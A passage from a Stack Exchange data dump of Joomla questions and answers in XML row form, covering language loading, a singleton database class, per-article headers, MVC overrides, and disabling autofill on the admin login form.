 if ($page &amp;gt; $pages - 1 || $page &amp;lt; 0)&#xA;        {&#xA;            // Image doesn't exist.&#xA;            throw new \Exception(Text::_('JERROR_PAGE_NOT_FOUND'), 404);&#xA;        }&#xA;&#xA;        $item-&amp;gt;text = '&amp;lt;img src=&quot;' . Uri::root(true) . $imagesDir . $images[$page] . '&quot; /&amp;gt;';&#xA;        $pagination = new Pagination($pages, $page, 1, $prefix);&#xA;&#xA;        $item-&amp;gt;text .= '&#xA;            &amp;lt;div class=&quot;paging&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;pagecount&quot;&amp;gt;' . $pagination-&amp;gt;getPagesCounter() . '&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;pager&quot;&amp;gt;' . $pagination-&amp;gt;getPagesLinks() . '&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-02T09:01:04.153" LastActivityDate="2018-11-02T09:01:04.153" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23678" PostTypeId="1" AcceptedAnswerId="23679" CreationDate="2018-10-30T14:57:40.770" Score="2" ViewCount="384" Body="&lt;p&gt;How can I use language constant like &lt;code&gt;JText::_('MY_STRING_FROM_INI_FILE')&lt;/code&gt; in external file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD:&#xA;I include joomla system files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;require_once JPATH_BASE . '/libraries/joomla/factory.php';&#xA;&#xA;$db = JFactory::getDbo();&#xA;$app = JFactory::getApplication('site');&#xA;$appUser = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but there is effect. Language constants render like MY_STRING_INI, not value of it.&lt;/p&gt;&#xA;" OwnerUserId="8039" LastEditorUserId="8039" LastEditDate="2018-10-30T16:49:36.063" LastActivityDate="2018-10-30T17:50:41.817" Title="Using language constants in external file" Tags="|joomla-3.x|language|jtext|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23679" PostTypeId="2" ParentId="23678" CreationDate="2018-10-30T17:50:41.817" Score="3" Body="&lt;p&gt;Your language files are not loaded. Load them with &lt;code&gt;Joomla\CMS\Language\Language::load()&lt;/code&gt;. This example loads &lt;code&gt;administrator/language/en-GB/en-GB.com_content.ini&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;$app-&amp;gt;getLanguage()-&amp;gt;load('com_content', JPATH_ADMINISTRATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-30T17:50:41.817" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23680" PostTypeId="2" ParentId="23672" CreationDate="2018-10-31T00:48:35.960" Score="1" Body="&lt;p&gt;I found a solution by changing the Session Handler in the Session Settings at Administrator-&gt;Global Configuration from Database to PHP. Now my code works correctly.&#xA;But I still don't know why the error occurs with Database handler. &lt;/p&gt;&#xA;" OwnerUserId="12247" LastActivityDate="2018-10-31T00:48:35.960" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23681" PostTypeId="2" ParentId="22797" CreationDate="2018-10-31T04:55:22.417" Score="0" Body="&lt;p&gt;One answer to this question is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a single library which all modules can access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create you own php classes. Add them in you own custom library folder inside /libraries of your joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Classes in a folder that follow a naming convention can be registered collectively with JLoader::discover() method. The discover method looks at the file names in a folder and registers classes based on those names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will need a loader to load your library class files. This can be done via &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Discovering your library&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;// Register all files in the /libraries/mylib folder as classes with a name like:  MyLib&#xA;  JLoader::discover('Mylib', JPATH_LIBRARIES . '/mylib');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Prefixing your class names to make them discoverable easily.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;// Tell the auto-loader to look for classes starting with &quot;Mylib&quot; in a specific folder.&#xA;  JLoader::registerPrefix('Mylib', JPATH_LIBRARIES . '/mylib');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For single database object on all modules, your database class should follow singleton pattern. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Singletons are designed to ensure there is a single (hence the name singleton) class instance and that is global point of access for it, along with this single instance we have global access and lazy initialization.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A example of DB class using singleton pattern here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* PDO Singleton Class v.1.0&#xA;*/&#xA;class DB {&#xA;    protected static $instance;&#xA;    protected function __construct() {}&#xA;    public static function getInstance() {&#xA;        if(empty(self::$instance)) {&#xA;            $db_info = array(&#xA;                &quot;db_host&quot; =&amp;gt; &quot;localhost&quot;,&#xA;                &quot;db_port&quot; =&amp;gt; &quot;3306&quot;,&#xA;                &quot;db_user&quot; =&amp;gt; &quot;user&quot;,&#xA;                &quot;db_pass&quot; =&amp;gt; &quot;pass&quot;,&#xA;                &quot;db_name&quot; =&amp;gt; &quot;ftonato&quot;,&#xA;                &quot;db_charset&quot; =&amp;gt; &quot;UTF-8&quot;);&#xA;            try {&#xA;                self::$instance = new PDO(&quot;mysql:host=&quot;.$db_info['db_host'].';port='.$db_info['db_port'].';dbname='.$db_info['db_name'], $db_info['db_user'], $db_info['db_pass']);&#xA;                self::$instance-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);  &#xA;                self::$instance-&amp;gt;query('SET NAMES utf8');&#xA;                self::$instance-&amp;gt;query('SET CHARACTER SET utf8');&#xA;            } catch(PDOException $error) {&#xA;                echo $error-&amp;gt;getMessage();&#xA;            }&#xA;        }&#xA;        return self::$instance;&#xA;    }&#xA;    public static function setCharsetEncoding() {&#xA;        if (self::$instance == null) {&#xA;            self::connect();&#xA;        }&#xA;        self::$instance-&amp;gt;exec(&#xA;            &quot;SET NAMES 'utf8';&#xA;            SET character_set_connection=utf8;&#xA;            SET character_set_client=utf8;&#xA;            SET character_set_results=utf8&quot;);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can now be used as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once ('database.class.php');&#xA;try {&#xA;    $db = DB::getInstance();&#xA;    DB::setCharsetEncoding();&#xA;    $sqlExample = 'SELECT * FROM users WHERE _id = 1';&#xA;    $stm = $db-&amp;gt;prepare($sqlExample);&#xA;    $stm-&amp;gt;execute();&#xA;    return $stm-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&#xA;&#xA;} catch (Exception $e) {&#xA;    print $e-&amp;gt;getMessage();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13003" LastEditorUserId="13003" LastEditDate="2018-10-31T12:14:05.233" LastActivityDate="2018-10-31T12:14:05.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23682" PostTypeId="1" AcceptedAnswerId="23694" CreationDate="2018-10-31T10:05:30.053" Score="1" ViewCount="532" Body="&lt;p&gt;I am wondering is it possible to have different headers depending on the different articles? e.g article ID 1 shows header A and article ID 2 shows header B.&#xA;Currently I have modified the template header php file in tpl/blocks/header.php, which the header is hardcoded with html. Is there a way to use php in order to achieve the custom header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current header.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&amp;lt;header class=&quot;header js-header&quot;&amp;gt;SOMETHING&amp;lt;/header&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13006" LastEditorUserId="13006" LastEditDate="2018-10-31T10:11:04.140" LastActivityDate="2018-11-02T23:25:56.807" Title="Custom header content depend on article" Tags="|joomla-3.x|php|custom-component|custom-module|header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23684" PostTypeId="2" ParentId="23674" CreationDate="2018-10-31T13:07:06.487" Score="2" Body="&lt;p&gt;As suggested before I can agree with the solution of turning off the pagebreak plugin and it will stay turned off in the case of updates too. But if you do not want to use that solution, then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe you would like this solution a little more with which you can delete that Exception thrown in &lt;strong&gt;pagebreak.php&lt;/strong&gt; file, with an override of that file. Many people, even in Joomla extension developers community, do not know that there are relatively easy ways to override, not only template/layout files, but Model, Controller and View files too in Joomla. So that way you could just 'delete' that unneeded Exception object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full write-up of how to override Joomla components' views, models, controllers is here:&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have not checked this override method on plugins though, but according to the override helper plugin developer, it works on plugins' classes too).&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-31T14:11:32.893" LastActivityDate="2018-10-31T14:11:32.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23685" PostTypeId="1" CreationDate="2018-10-31T16:21:11.670" Score="1" ViewCount="2251" Body="&lt;p&gt;I am trying to login to the backend of my Joomla installation and have this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 Class 'JToolbarHelper' not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the tmp directory in the server setting to match the webhost as I was having troubles running the autoupdate and it broke the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.8&lt;/p&gt;&#xA;" OwnerUserId="13007" LastEditorUserId="12352" LastEditDate="2018-10-31T23:48:37.623" LastActivityDate="2019-05-23T11:06:19.700" Title="&quot;0 Class 'JToolbarHelper' not found&quot; error while trying to login to the backend" Tags="|joomla-3.x|javascript|administrator|development-tool|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23686" PostTypeId="1" CreationDate="2018-11-01T12:08:52.040" Score="3" ViewCount="942" Body="&lt;p&gt;I want to disable autocomplete login details when i am click on administrator login.&lt;a href=&quot;https://i.stack.imgur.com/ZFHpc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFHpc.png&quot; alt=&quot;stop this prediction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried autocomplete =&quot;off&quot;,oncopy=&quot;return false&quot; onpaste=&quot;return false&quot; but nothing work. I know it's a browser property but i need to do this clear website audit. i seen this kind of validation on payment gateway.&lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2019-05-17T08:53:45.157" Title="autocomplete disable in joomla administrartor" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="23687" PostTypeId="2" ParentId="23686" CreationDate="2018-11-01T14:49:37.643" Score="4" Body="&lt;p&gt;Despite it is not a Joomla question, it is still could be a relevant question in many area in Joomla Forms too and can be applied in Joomla, so I try to give a useful working solution (which I've found among a lot of nonworking and old solutions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So the login form:&lt;/strong&gt; (should be renamed according to your needs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;login-form&quot;&amp;gt;&#xA;    &amp;lt;input class=&quot;form-control&quot; name=&quot;username&quot; placeholder=&quot;Username&quot; type=&quot;text&quot;&amp;gt;&#xA;    &amp;lt;input class=&quot;form-control password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; type=&quot;text&quot;&amp;gt;              &#xA;    &amp;lt;button class=&quot;btn btn-lg btn-primary btn-block&quot; name=&quot;demo-submit&quot; value=&quot;Login&quot; type=&quot;Submit&quot;&amp;gt;Login&amp;lt;/button&amp;gt;  &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The useful javascript code:&lt;/strong&gt; (to include)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://terrylinooo.github.io/jquery.disableAutoFill/assets/js/jquery.disableAutoFill.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And the jQuery script:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;var $ = jQuery;&#xA;&#xA;$('#login-form').disableAutoFill({&#xA;    passwordField: '.password',&#xA;    debugMode: false,&#xA;    randomizeInputName: true,&#xA;    callback: function() {&#xA;    return checkForm();&#xA;    }&#xA;});&#xA;&#xA;function checkForm() {&#xA;    form = document.getElementById('login-form');&#xA;&#xA;    if (form.password.value == '') {&#xA;        alert('Cannot leave Password field blank.');&#xA;        form.password.focus();&#xA;        return false;&#xA;    }&#xA;    if (form.username.value == '') {&#xA;        alert('Cannot leave User Id field blank.');&#xA;        form.username.focus();&#xA;        return false;&#xA;    }&#xA;    return true;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this and it works even in Chrome where most of the times this autocomplete avoiding solutions fail. I did not try it on all browsers but the author claims it works on all browsers.&#xA;The source with all of the info about this is here:&#xA;&lt;a href=&quot;https://github.com/terrylinooo/jquery.disableAutoFill&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/terrylinooo/jquery.disableAutoFill&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - &lt;strong&gt;CUSTOMIZED SOLUTION FOR JOOMLA ADMIN LOGIN&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the above code works on many forms but not on Joomla admin login. I knew that I will have to take my time to customize the solution on this question to make it a Joomla question. So here is how to disable autofill/autocomplete on the Joomla Admin Login page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;it's relatively simple at the end.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worked on the template: &lt;strong&gt;administrator/modules/mod_login/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(create a backup copy of this file to somewhere before edit that, then if you screw up something you can just place back that original file in place) Or, actually the right way is &lt;strong&gt;to create a template override of this module default.php&lt;/strong&gt; file in the template manager of the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; &lt;strong&gt;On the top of the file after&lt;/strong&gt; the closing php tag ( ?&gt; ) paste the jquery import, just this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; In the username and password input fields, add an attribute (autocomplete=&quot;off&quot;) (it may sound stupid but it should be there)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; At the password input field change the type attribute to text ( type= &quot;text&quot; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Then, place the following javascript/jQuery code at the end of the file (after the closing tag of the form &lt;code&gt;**&amp;lt;/form&amp;gt;**&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;    $(function(){&#xA;        $('#mod-login-username').attr({&#xA;            'name' : 'mygod',&#xA;            'type' : 'text',&#xA;            // 'readonly' : true,&#xA;        });&#xA;        $('#mod-login-password').attr({&#xA;            'name' : 'mygod2',&#xA;            'type' : 'text',&#xA;            // 'readonly' : true,&#xA;        });&#xA;    });&#xA;&#xA;&#xA;    $('#form-login').on('submit', function(){&#xA;            $('#mod-login-username').attr('name','username');&#xA;            $('#mod-login-password').attr('name','passwd');&#xA;            $('#mod-login-password').attr('type','password');&#xA;    });    &#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it, it worked for me without a problem and I could signed in to my admin without problem, autofill was not ignited in the browser (I tried this on Chrome and on Firefox). I hope that it will work for you too and you can confirm this for me at your side. (it still could be simplified a lot, but at least it works now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just showing the result visually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wr6pr.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wr6pr.gif&quot; width=&quot;500&quot; title=&quot;Click to enlarge.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox - Autocomplete is not ignited and the Joomla authentication works too. It's the same in Chrome.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-11-18T08:20:58.077" LastActivityDate="2018-11-18T08:20:58.077" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23688" PostTypeId="1" AcceptedAnswerId="23690" CreationDate="2018-11-02T11:53:51.520" Score="3" ViewCount="80" Body="&lt;p&gt;I currently work on a project where all the users have unique usernames but not unique email addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem when using the Reset Password feature because out of the box you need to enter your e-mail address in the 1st step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I´m looking for a solution where you enter username instead of e-mail address in the 1st step of Reset Password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a good way to make this happen (without core hacks)?&lt;/p&gt;&#xA;" OwnerUserId="3555" LastActivityDate="2018-11-03T12:33:47.983" Title="A solution to enter Username instead of E-mail for &quot;Reset Password&quot;" Tags="|user|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23690" PostTypeId="2" ParentId="23688" CreationDate="2018-11-02T13:57:13.057" Score="2" Body="&lt;p&gt;After digging around for alternative solutions I found a way to override the model, thanks to this documentation:&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step by step on how I did it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install and enable this plugin (MVC Override):&#xA;&lt;a href=&quot;https://gruz.ml/en/extensions/mvcoverride.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gruz.ml/en/extensions/mvcoverride.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the model file from: /components/com_users/models/reset.php&#xA;to: /templates/[templatename]/code/com_users/models/reset.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And there you have it.&#xA;Now you can make all the changes you like to the file:&#xA;/templates/[templatename]/code/com_users/models/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is a template override solution, so you need to copy the override file to any other templates you may use (if you use multiple front-end templates for your site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must also be aware that updating Joomla to a newer version may render your override file incompatible with the system, depending on the changes you´ve made and the fixes / changes contained in the Joomla update. So it´s always a good idea to revisit your override files every time you perform a Joomla update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may ask yourself, then why even bother with an override solution?&#xA;Well, a big upside to using an override method is that you have an easily manageable overview of all your modifications, that is easier to keep track of than your own &quot;core hacks change-log&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After discovering the MVC Override plugin I´m more than likely going to use it on most, if not all, future Joomla projects.&lt;/p&gt;&#xA;" OwnerUserId="3555" LastEditorUserId="3555" LastEditDate="2018-11-03T12:33:47.983" LastActivityDate="2018-11-03T12:33:47.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23691" PostTypeId="1" AcceptedAnswerId="23692" CreationDate="2018-11-02T14:16:54.260" Score="1" ViewCount="103" Body="&lt;p&gt;in my component Centros I have the view and model for Hospitals, working fine. &#xA;I want to call a general model. &lt;code&gt;general.php&lt;/code&gt; located in the models folder. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CentrosModelGeneral extends JModelItem&#xA;{&#xA;    protected $general;&#xA;    public function getFck()&#xA;    {&#xA;        if (!isset($this-&amp;gt;general))&#xA;        {&#xA;            $this-&amp;gt;general = 'Hello World!';&#xA;        }&#xA;        return $this-&amp;gt;general;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to access into the general model from my hospìtal component. So, inside my &lt;code&gt;function display()&lt;/code&gt; I am trying this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $model = JModelLegacy::getInstance( 'general', 'CentrosModel');&#xA;    var_dump ($model-&amp;gt;get('fck'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;var_dump&lt;/code&gt; gives me a &lt;code&gt;null&lt;/code&gt; value. :(&#xA;What is wrong?. The &lt;code&gt;var_duymp($model);&lt;/code&gt; gives me a long StdClass. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;object(CentrosModelGeneral)[360]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     protected 'general' =&amp;gt; null&#xA;      protected '_item' =&amp;gt; null&#xA;      protected '_context' =&amp;gt; string 'group.type' (length=10)&#xA;      protected '__state_set' =&amp;gt; null&#xA;      protected '_db' =&amp;gt; &#xA;     protected 'name' =&amp;gt; string 'general' (length=7)&#xA;     protected 'option' =&amp;gt; string 'com_centros' (length=11)&#xA;     protected 'state' =&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it looks like is working, but i dont know how to call the getFck function.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="12397" LastActivityDate="2018-11-02T14:25:22.233" Title="Adding multiple Models into a component." Tags="|component|custom-component|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23692" PostTypeId="2" ParentId="23691" CreationDate="2018-11-02T14:25:22.233" Score="1" Body="&lt;p&gt;Okey this was a stupid question, I just needed to add: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var_dump ($model-&amp;gt;getFck());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12397" LastActivityDate="2018-11-02T14:25:22.233" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23693" PostTypeId="2" ParentId="23080" CreationDate="2018-11-02T16:48:50.803" Score="1" Body="&lt;p&gt;I had the same issue and i managed to solve it with the plugin jQuery Easy.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2018-11-02T16:48:50.803" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23694" PostTypeId="2" ParentId="23682" CreationDate="2018-11-02T23:25:56.807" Score="1" Body="&lt;p&gt;There are numerous ways to customise something depending on something, so I can only answer by suggesting some ways to do some things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, generally in Joomla one tries to do minimal coding in the template, and instead one uses component overrides and modules so that output can be managed in the admin interface.  That being said, many templates are hardcoded, so sometimes it makes sense to just say 'I've tried to be a good person but look where it's got me, im just gunna stick this in the template like nobody cares.'&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use the Article Id in a condition in the template&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$component = $jinput-&amp;gt;get('option','','cmd');&#xA;$id = $jinput-&amp;gt;get('id',0,'int');&#xA;?&amp;gt;&#xA;&amp;lt;header class=&quot;header js-header&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;if($component == 'com_content'){&#xA;&#xA;    switch ($id) {&#xA;        case '34':&#xA;            echo '&amp;lt;p&amp;gt;Some Content For Article Id 34&amp;lt;/p&amp;gt;';&#xA;            break;&#xA;        case '48':&#xA;            echo '&amp;lt;p&amp;gt;Some Content For Article Id 48&amp;lt;/p&amp;gt;';&#xA;            break;&#xA;        default:&#xA;            echo '&amp;lt;p&amp;gt;Some Default Content For other articles and category lists etc&amp;lt;/p&amp;gt;';&#xA;            break;&#xA;    }&#xA;&#xA;} else {&#xA;    echo '&amp;lt;p&amp;gt;Some Default Header Content For Pages that are not views of com_content&amp;lt;/p&amp;gt;';&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Use a module position&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You could instead use a module position and then insert your own custom modules in the position and assign them to menu items as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die; ?&amp;gt;&#xA;&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;customheader&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Use a custom field in the article and pull in the content&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Perhaps more ergonomic but more involved to setup would be to add a custom field to the articles and then pull that content in, something like the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die; &#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$component = $jinput-&amp;gt;get('option','','cmd');&#xA;$view = $jinput-&amp;gt;get('view','','cmd');&#xA;&#xA;$header = 'some default content';&#xA;&#xA;if($component == 'com_content' &amp;amp;&amp;amp; $view == 'article'){&#xA;&#xA;    JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;    JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');&#xA;&#xA;    $id = $jinput-&amp;gt;get('id');&#xA;&#xA;    $model =&amp;amp; JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;    $appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;    $model-&amp;gt;setState('params', $appParams);&#xA;    $item =&amp;amp; $model-&amp;gt;getItem($id);&#xA;    $jcFields = FieldsHelper::getFields('com_content.article',  $item, True);&#xA;&#xA;    $name_of_your_custom_field = 'mycustomheader';&#xA;&#xA;    foreach($jcFields as $jcField){&#xA;        if($jcField-&amp;gt;name == $name_of_your_custom_field){&#xA;            $header = $jcField-&amp;gt;value;&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;header&amp;gt;&amp;lt;?php echo $header; ?&amp;gt;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-11-02T23:25:56.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
